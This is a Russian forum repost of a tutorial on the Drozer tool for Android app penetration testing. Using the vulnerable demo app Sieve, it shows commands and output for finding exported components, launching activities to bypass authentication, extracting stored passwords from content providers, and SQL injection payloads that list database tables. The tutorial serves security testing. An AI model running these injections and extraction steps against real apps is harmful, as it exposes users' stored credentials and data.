[Информационная безопасность, Тестирование мобильных приложений] Проверяем безопасность приложений с помощью Drozer
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
Drozer – обязательный инструмент в арсенале каждого пентестера. С его помощью можно быстро получить информацию о приложении и его слабых местах.
Drozer предустановлен в Kali Linux и других ОС для белого хакинга.
Возможности Drozer:
- Получение информации о пакете
- Определение поверхности атаки
- Запуск активностей
- Чтение от поставщиков содержимого
- Взаимодействие со службами
- Дополнительные опции
1. Получение информации о пакете
Мы можем получить пакеты, присутствующие на подключенных устройствах, а также информацию о любом установленном пакете.
To get list of all packages present in the device.
dz> run app.package.list
To search for a package name from the above list
dz> run app.package.list -f <your_string>
To get basic info about any selected package
dz> run app.package.info -a <package_name>
2. Определение поверхности атаки
Это та часть, с которой мы начинаем исследовать уязвимости. В первую очередь проверим количество экспортированных:
- Активностей
- Поставщиков содержимого
- Служб
To get list of exported Activities, Broadcast Receivers, Content Providers and Services:
dz> run app.package.attacksurface <package_name>
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported is debuggable
3. Запуск активностей
Теперь мы попытаемся запустить экспортированные активности и попробуем обойти аутентификацию. Начинаем с запуска всех экспортируемых активностей.
To get a list activities from a package
dz> run app.activity.info -a <package_name>
To launch any selected activity
dz> run app.activity.start --component <package_name> <activity_name>
4. Чтение от поставщиков контента
Далее мы попытаемся собрать больше информации о поставщиках контента, экспортируемых приложением.
To get info about the content providers:
dz> run app.provider.info -a <package_name>
Example Result:
Package: com.mwr.example.sieveAuthority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Вышеупомянутый поставщик содержимого называется DBContentProvider (Database Backed Content Provider). Угадать URI контента очень сложно, однако drozer предоставляет модуль сканера, который объединяет различные способы угадывать путь и определять список доступных URI контента. Мы можем получить URI контента с помощью:
To get the content URIs for the selected package
dz> run scanner.provider.finduris -a <your_package>
Example Result:
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.
example.sieve.DBContentProvider/
...
Unable to Query
content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Теперь мы можем использовать другие модули drozer для извлечения информации из этих URI контента или даже для изменений в базе данных.
To retrieve or modify data using the above content URIs:
dz> run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Password/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64-encoded)
email: incognitoguy50@gmail.com
Платформа Android поощряет использование баз данных SQLite, которые могут быть уязвимы для SQL-инъекции. Мы можем протестировать SQL-инъекцию, манипулируя полями проекции и выбора.
To attack using SQL injection:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT '
FROM Passwords
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
Android возвращает подробное сообщение об ошибке, показывающее весь запрос, который мы пытались выполнить. Его можно использовать для вывода списка всех таблиц в базе данных.
To attack using SQL injection:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata| 3 |CREATE TABLE... |
| table | Passwords | Passwords | 4 |CREATE TABLE ...|
| table | Key | Key | 5 |CREATE TABLE ...|
Поставщик содержимого может предоставить доступ к базовой файловой системе. Это позволяет приложениям обмениваться файлами, где песочница Android могла бы предотвратить это.
To read the files in the file system
dz> run app.provider.read <URI>
To download content from the file
dz> run app.provider.download <URI>
To check for injection vulnerabilities
dz> run scanner.provider.injection -a <package_name>
To check for directory traversal vulnerabilities
dz> run scanner.provider.traversal -a <package_name>
5. Взаимодействие со службами
Для взаимодействия с экспортированными службами мы можем попросить Drozer предоставить более подробную информацию, используя:
To get details about exported services
dz> run app.service.info -a <package_name>
6. Дополнительные опции
Для получения дополнительной информации существует несколько замечательных команд:
- shell.start — запустить интерактивную оболочку Linux на устройстве.
- tools.file.upload / tools.file.download — Разрешить копирование файлов на / с устройства Android.
- tools.setup.busybox / tools.setup.minimalsu — Установить на устройство полезные двоичные файлы.
оригинал
===========
Источник:
habr.com
===========
Похожие новости:
- [Разработка под iOS, Разработка мобильных приложений, Разработка под Android, Тестирование мобильных приложений] 3 видео для мобильного разработчика
- [Информационная безопасность] Security Week 52+1: кибербезопасность на будущее
- [Информационная безопасность, Антивирусная защита, SCADA, Интернет вещей] Возможные способы организации атак на киберфизические системы (перевод)
- [Информационная безопасность, IT-инфраструктура, Сетевые технологии, Серверное администрирование] Устройства Citrix используются в качестве векторов DDoS-атак
- [Информационная безопасность, Программирование, Разработка мобильных приложений] Безопасная разработка: SAST, DAST, IAST и RASP
- [Информационная безопасность] История о том, как я обошел защиту в компьютерном клубе Arena Arsenal
- [Информационная безопасность, Go, Реверс-инжиниринг] Blackrota, самый обфусцированный backdoor, написанный на Go (перевод)
- [Тестирование IT-систем, Тестирование веб-сервисов, Тестирование мобильных приложений] Исследовательское тестирование: пустая трата времени или мощный инструмент?
- [Информационная безопасность] Челябинские специалисты по ИБ стали лучшими в финале IV Кейс-чемпионата по ИБ RISC
- [Информационная безопасность, Криптография, CTF] История одного «сломанного» тестового задания или осторожнее с версиями OpenSSL…
Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_testirovanie_mobilnyh_prilozhenij (Тестирование мобильных приложений), #_informatsionnaja_bezopasnost (информационная безопасность), #_testirovanie_prilozhenij (тестирование приложений), #_testirovanie_mobilnyh_prilozhenij (тестирование мобильных приложений), #_drozer, #_pentest (пентест), #_blog_kompanii_alexhost (
Блог компании AlexHost
), #_informatsionnaja_bezopasnost (
Информационная безопасность
), #_testirovanie_mobilnyh_prilozhenij (
Тестирование мобильных приложений
)
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 26-Ноя 02:42
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
Drozer – обязательный инструмент в арсенале каждого пентестера. С его помощью можно быстро получить информацию о приложении и его слабых местах. Drozer предустановлен в Kali Linux и других ОС для белого хакинга. Возможности Drozer:
1. Получение информации о пакете Мы можем получить пакеты, присутствующие на подключенных устройствах, а также информацию о любом установленном пакете. To get list of all packages present in the device.
dz> run app.package.list To search for a package name from the above list dz> run app.package.list -f <your_string> To get basic info about any selected package dz> run app.package.info -a <package_name> 2. Определение поверхности атаки Это та часть, с которой мы начинаем исследовать уязвимости. В первую очередь проверим количество экспортированных:
To get list of exported Activities, Broadcast Receivers, Content Providers and Services:
dz> run app.package.attacksurface <package_name> 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable 3. Запуск активностей Теперь мы попытаемся запустить экспортированные активности и попробуем обойти аутентификацию. Начинаем с запуска всех экспортируемых активностей. To get a list activities from a package
dz> run app.activity.info -a <package_name> To launch any selected activity dz> run app.activity.start --component <package_name> <activity_name> 4. Чтение от поставщиков контента Далее мы попытаемся собрать больше информации о поставщиках контента, экспортируемых приложением. To get info about the content providers:
dz> run app.provider.info -a <package_name> Example Result: Package: com.mwr.example.sieveAuthority: com.mwr.example.sieve.DBContentProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.DBContentProvider Multiprocess Allowed: True Grant Uri Permissions: False Path Permissions: Path: /Keys Type: PATTERN_LITERAL Read Permission: com.mwr.example.sieve.READ_KEYS Write Permission: com.mwr.example.sieve.WRITE_KEYS Вышеупомянутый поставщик содержимого называется DBContentProvider (Database Backed Content Provider). Угадать URI контента очень сложно, однако drozer предоставляет модуль сканера, который объединяет различные способы угадывать путь и определять список доступных URI контента. Мы можем получить URI контента с помощью: To get the content URIs for the selected package
dz> run scanner.provider.finduris -a <your_package> Example Result: Scanning com.mwr.example.sieve... Unable to Query content://com.mwr. example.sieve.DBContentProvider/ ... Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys Accessible content URIs: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ Теперь мы можем использовать другие модули drozer для извлечения информации из этих URI контента или даже для изменений в базе данных. To retrieve or modify data using the above content URIs:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Password/ --vertical _id: 1 service: Email username: incognitoguy50 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64-encoded) email: incognitoguy50@gmail.com Платформа Android поощряет использование баз данных SQLite, которые могут быть уязвимы для SQL-инъекции. Мы можем протестировать SQL-инъекцию, манипулируя полями проекции и выбора. To attack using SQL injection:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') Android возвращает подробное сообщение об ошибке, показывающее весь запрос, который мы пытались выполнить. Его можно использовать для вывода списка всех таблиц в базе данных. To attack using SQL injection:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata| 3 |CREATE TABLE... | | table | Passwords | Passwords | 4 |CREATE TABLE ...| | table | Key | Key | 5 |CREATE TABLE ...| Поставщик содержимого может предоставить доступ к базовой файловой системе. Это позволяет приложениям обмениваться файлами, где песочница Android могла бы предотвратить это. To read the files in the file system
dz> run app.provider.read <URI> To download content from the file dz> run app.provider.download <URI> To check for injection vulnerabilities dz> run scanner.provider.injection -a <package_name> To check for directory traversal vulnerabilities dz> run scanner.provider.traversal -a <package_name> 5. Взаимодействие со службами Для взаимодействия с экспортированными службами мы можем попросить Drozer предоставить более подробную информацию, используя: To get details about exported services
dz> run app.service.info -a <package_name> 6. Дополнительные опции Для получения дополнительной информации существует несколько замечательных команд:
оригинал =========== Источник: habr.com =========== Похожие новости:
Блог компании AlexHost ), #_informatsionnaja_bezopasnost ( Информационная безопасность ), #_testirovanie_mobilnyh_prilozhenij ( Тестирование мобильных приложений ) |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 26-Ноя 02:42
Часовой пояс: UTC + 5